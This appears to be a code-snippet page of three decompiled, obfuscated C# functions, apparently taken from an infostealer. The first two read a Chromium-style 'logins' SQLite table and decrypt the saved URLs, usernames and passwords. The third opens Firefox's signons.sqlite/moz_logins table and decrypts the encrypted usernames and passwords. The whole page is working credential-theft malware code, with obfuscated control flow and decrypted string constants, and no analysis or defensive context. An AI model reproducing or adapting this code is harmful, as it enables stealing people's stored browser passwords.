Пример #1
0
	// Token: 0x0600010B RID: 267 RVA: 0x000239BC File Offset: 0x00021BBC
	internal static List<clo> clq(string clz, string cmn, string cmo = "logins")
	{
		List<clo> list = new List<clo>();
		if (!File.Exists(clz))
		{
			return list;
		}
		jwq jwq;
		try
		{
			jwq = new jwq(clz);
		}
		catch (Exception ex)
		{
			return list;
		}
		if (jwq.kry(cmo))
		{
			goto IL_64;
		}
		IL_37:
		int num = 1270842645;
		IL_3C:
		switch ((num ^ 1908089068) % 4)
		{
		case 0:
		{
			IL_64:
			string text = string.Empty;
			num = 1978624386;
			goto IL_3C;
		}
		case 1:
			return list;
		case 3:
			goto IL_37;
		}
		string text2 = string.Empty;
		string text3 = string.Empty;
		int num2 = 0;
		int num3 = checked(jwq.ktv() - 1);
		int num4 = num2;
		for (;;)
		{
			if (num4 <= num3)
			{
				try
				{
					string text = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320624 -> "origin_url")));
					text2 = jwq.kuv(num4, <Module>.smethod_strings_decryptor(320600 -> "username_value")));
					text3 = clw.cno(jwq.kuv(num4, <Module>.smethod_strings_decryptor(320672 -> "password_value"))));
					if (!string.IsNullOrEmpty(text))
					{
						for (;;)
						{
							IL_1B7:
							uint num5 = 1650759195u;
							for (;;)
							{
								uint num6;
								switch ((num6 = (num5 ^ 1908089068u)) % 7u)
								{
								case 0u:
								{
									clo clo;
									clo.clx = cmn;
									num5 = (num6 * 2319934876u ^ 2323269452u);
									continue;
								}
								case 1u:
								{
									clo clo = new clo();
									clo.cly = text;
									clo.clu = text2;
									clo.clv = text3;
									num5 = (num6 * 1239049928u ^ 2158681576u);
									continue;
								}
								case 2u:
									if (text3 != null)
									{
										num5 = (num6 * 2481761736u ^ 964362803u);
										continue;
									}
									break;
								case 3u:
								{
									clo clo;
									list.Add(clo);
									num5 = (num6 * 879716646u ^ 2833252949u);
									continue;
								}
								case 5u:
									if (!string.IsNullOrEmpty(text2))
									{
										num5 = (num6 * 2064738247u ^ 1166676366u);
										continue;
									}
									break;
								case 6u:
									goto IL_1B7;
								}
								goto Block_11;
							}
						}
						Block_11:;
					}
					goto IL_244;
				}
				catch (Exception ex2)
				{
					for (;;)
					{
						IL_207:
						uint num7 = 1239167220u;
						for (;;)
						{
							uint num6;
							switch ((num6 = (num7 ^ 1908089068u)) % 3u)
							{
							case 1u:
								num7 = (num6 * 3398486821u ^ 2647820122u);
								continue;
							case 2u:
								goto IL_207;
							}
							goto Block_13;
						}
					}
					Block_13:
					goto IL_244;
				}
				goto IL_210;
				IL_244:
				checked
				{
					num4++;
					goto IL_210;
				}
			}
			int num8 = 442132939;
			IL_215:
			switch ((num8 ^ 1908089068) % 4)
			{
			case 0:
				IL_210:
				num8 = 1592328438;
				goto IL_215;
			case 2:
				continue;
			case 3:
				return list;
			}
			break;
		}
		List<clo> result;
		return result;
	}
Пример #2
0
    // Token: 0x0600010B RID: 267 RVA: 0x00023B98 File Offset: 0x00021D98
    internal static List <clo> clq(string clz, string cmn, string cmo = "logins")
    {
        List <clo> list = new List <clo>();

        if (!File.Exists(clz))
        {
            return(list);
        }
        jwq jwq;

        try
        {
            jwq = new jwq(clz);
        }
        catch (Exception ex)
        {
            return(list);
        }
        if (!jwq.kry(cmo))
        {
            goto IL_51;
        }
        goto IL_82;
        uint num2;

        for (;;)
        {
IL_56:
            uint num;
            switch ((num = (num2 ^ 2142595151u)) % 5u)
            {
            case 0u:
                goto IL_82;

            case 2u:
                goto IL_51;

            case 3u:
                return(list);

            case 4u:
            {
                string text = string.Empty;
                num2 = (num * 1357431051u ^ 2030568141u);
                continue;
            }
            }
            break;
        }
        int    num3 = 0;
        int    num4 = checked (jwq.ktv() - 1);
        int    num5 = num3;
        string text2;
        string text3;

        for (;;)
        {
            if (num5 <= num4)
            {
                try
                {
                    text2 = jwq.kuv(num5, <Module> .smethod_0(575008));
                    text3 = jwq.kuv(num5, <Module> .smethod_0(574928));
                    string text = clw.cno(jwq.kuv(num5, <Module> .smethod_0(574976)));
                    if (!string.IsNullOrEmpty(text2))
                    {
                        for (;;)
                        {
IL_1CA:
                            uint num6 = 715850815u;
                            for (;;)
                            {
                                uint num;
                                switch ((num = (num6 ^ 2142595151u)) % 7u)
                                {
                                case 0u:
                                    goto IL_1CA;

                                case 1u:
                                    if (text != null)
                                    {
                                        num6 = (num * 605843938u ^ 2372533082u);
                                        continue;
                                    }
                                    break;

                                case 2u:
                                {
                                    clo clo = new clo();
                                    clo.cly = text2;
                                    num6    = (num * 3435803494u ^ 659907402u);
                                    continue;
                                }

                                case 3u:
                                    if (!string.IsNullOrEmpty(text3))
                                    {
                                        num6 = (num * 3766597328u ^ 13896220u);
                                        continue;
                                    }
                                    break;

                                case 5u:
                                {
                                    clo clo;
                                    clo.clx = cmn;
                                    list.Add(clo);
                                    num6 = (num * 4087290826u ^ 2154212212u);
                                    continue;
                                }

                                case 6u:
                                {
                                    clo clo;
                                    clo.clu = text3;
                                    clo.clv = text;
                                    num6    = (num * 425909484u ^ 3115526566u);
                                    continue;
                                }
                                }
                                goto Block_12;
                            }
                        }
                        Block_12 :;
                    }
                    goto IL_257;
                }
                catch (Exception ex2)
                {
                    for (;;)
                    {
IL_21A:
                        uint num7 = 623766739u;
                        for (;;)
                        {
                            uint num;
                            switch ((num = (num7 ^ 2142595151u)) % 3u)
                            {
                            case 0u:
                                goto IL_21A;

                            case 2u:
                                num7 = (num * 573121255u ^ 2921456160u);
                                continue;
                            }
                            goto Block_14;
                        }
                    }
Block_14:
                    goto IL_257;
                }
                goto IL_223;
IL_257:
                checked
                {
                    num5++;
                    goto IL_223;
                }
            }
            int num8 = 910093598;
IL_228:
            switch ((num8 ^ 2142595151) % 4)
            {
            case 1:
                return(list);

            case 2:
                continue;

            case 3:
IL_223:
                num8 = 1480378429;
                goto IL_228;
            }
            break;
        }
        List <clo> result;

        return(result);

IL_51:
        num2 = 2095154105u;
        goto IL_56;
IL_82:
        text2 = string.Empty;
        text3 = string.Empty;
        num2  = 1368682630u;
        goto IL_56;
    }
Пример #3
0
		// Token: 0x06000173 RID: 371 RVA: 0x0003080C File Offset: 0x0002EA0C
		public static List<clo> jkl(string jkm, string jkn)
		{
			List<clo> list = new List<clo>();
			for (;;)
			{
				IL_A7:
				uint num = 3994806019u;
				for (;;)
				{
					uint num2;
					switch ((num2 = (num ^ 3279137713u)) % 5u)
					{
					case 0u:
						goto IL_A7;
					case 1u:
					{
						string text = jkm + <Module>.smethod_strings_decryptor(289536 -> "signons.sqlite"));
						if (File.Exists(text))
						{
							num = (num2 * 2963114273u ^ 1936167517u);
							continue;
						}
						return list;
					}
					case 2u:
						if (jox.hls.hou(jkm) == null)
						{
							num = (num2 * 3755269175u ^ 4274660725u);
							continue;
						}
						goto IL_AE;
					case 3u:
					{
						string text2 = string.Empty;
						string text3 = string.Empty;
						string text4 = string.Empty;
						num = (num2 * 1123653911u ^ 1233408905u);
						continue;
					}
					}
					goto Block_3;
				}
			}
			Block_3:
			return list;
			jwq jwq;
			try
			{
				IL_AE:
				string text;
				jwq = new jwq(text);
			}
			catch (Exception ex)
			{
				return list;
			}
			if (jwq.kry(<Module>.smethod_strings_decryptor(289512 -> "moz_logins"))))
			{
				goto IL_10F;
			}
			IL_DF:
			int num3 = -574263533;
			IL_E4:
			jox.hjl hjl;
			int num5;
			int num6;
			switch ((num3 ^ -1015829583) % 4)
			{
			case 0:
				goto IL_DF;
			case 2:
				return list;
			case 3:
			{
				IL_10F:
				hjl = new jox.hjl();
				int num4 = 0;
				num5 = checked(jwq.ktv() - 1);
				num6 = num4;
				num3 = -1153896364;
				goto IL_E4;
			}
			}
			List<clo> result;
			for (;;)
			{
				if (num6 <= num5)
				{
					try
					{
						string text2 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289584 -> "hostname")));
						string text3 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289560 -> "encryptedUsername")));
						string text4 = jwq.kuv(num6, <Module>.smethod_strings_decryptor(289120 -> "encryptedPassword")));
						if (!string.IsNullOrEmpty(text2))
						{
							for (;;)
							{
								IL_38E:
								uint num7 = 2389638383u;
								for (;;)
								{
									uint num2;
									switch ((num2 = (num7 ^ 3279137713u)) % 10u)
									{
									case 0u:
									{
										jox.hjz hjz = hjl.hjm(Convert.FromBase64String(text4));
										num7 = (num2 * 316590178u ^ 1711896903u);
										continue;
									}
									case 1u:
									{
										jox.hjz hjz2;
										byte[] hlr = hjz2.hlp[0].hlp[1].hlp[1].hlr;
										num7 = (num2 * 2147355450u ^ 881220567u);
										continue;
									}
									case 2u:
										if (!string.IsNullOrEmpty(text3))
										{
											num7 = (num2 * 1490760102u ^ 1341603426u);
											continue;
										}
										break;
									case 3u:
										if (text4 != null)
										{
											num7 = (num2 * 3002477722u ^ 1906451362u);
											continue;
										}
										break;
									case 4u:
									{
										jox.hjz hjz2;
										byte[] hlr2 = hjz2.hlp[0].hlp[2].hlr;
										byte[] hlr;
										string input = jox.jlx.jmw(hlr2, jox.hls.jly, hlr);
										num7 = (num2 * 3303802837u ^ 1744781663u);
										continue;
									}
									case 5u:
									{
										string input;
										clo clo;
										clo.clu = Regex.Replace(input, <Module>.smethod_strings_decryptor(289224 -> "[^\u0020-\u007F]")), "");
										string input2;
										clo.clv = Regex.Replace(input2, <Module>.smethod_strings_decryptor(289168 -> "[^\u0020-\u007F]")), "");
										clo.clx = jkn;
										list.Add(clo);
										num7 = (num2 * 3707522447u ^ 568229492u);
										continue;
									}
									case 7u:
									{
										jox.hjz hjz2 = hjl.hjm(Convert.FromBase64String(text3));
										num7 = (num2 * 2721528952u ^ 2943016820u);
										continue;
									}
									case 8u:
									{
										jox.hjz hjz;
										byte[] hlr3 = hjz.hlp[0].hlp[1].hlp[1].hlr;
										byte[] hlr4 = hjz.hlp[0].hlp[2].hlr;
										string input2 = jox.jlx.jmw(hlr4, jox.hls.jly, hlr3);
										clo clo = new clo();
										clo.cly = text2;
										num7 = (num2 * 3455639722u ^ 2161671336u);
										continue;
									}
									case 9u:
										goto IL_38E;
									}
									goto Block_13;
								}
							}
							Block_13:;
						}
					}
					catch (Exception ex2)
					{
						result = list;
						break;
					}
					checked
					{
						num6++;
						goto IL_3AD;
					}
				}
				int num8 = -1889264911;
				IL_3B2:
				switch ((num8 ^ -1015829583) % 4)
				{
				case 0:
					return list;
				case 1:
					continue;
				case 2:
					IL_3AD:
					num8 = -1281840040;
					goto IL_3B2;
				}
				break;
			}
			return result;
		}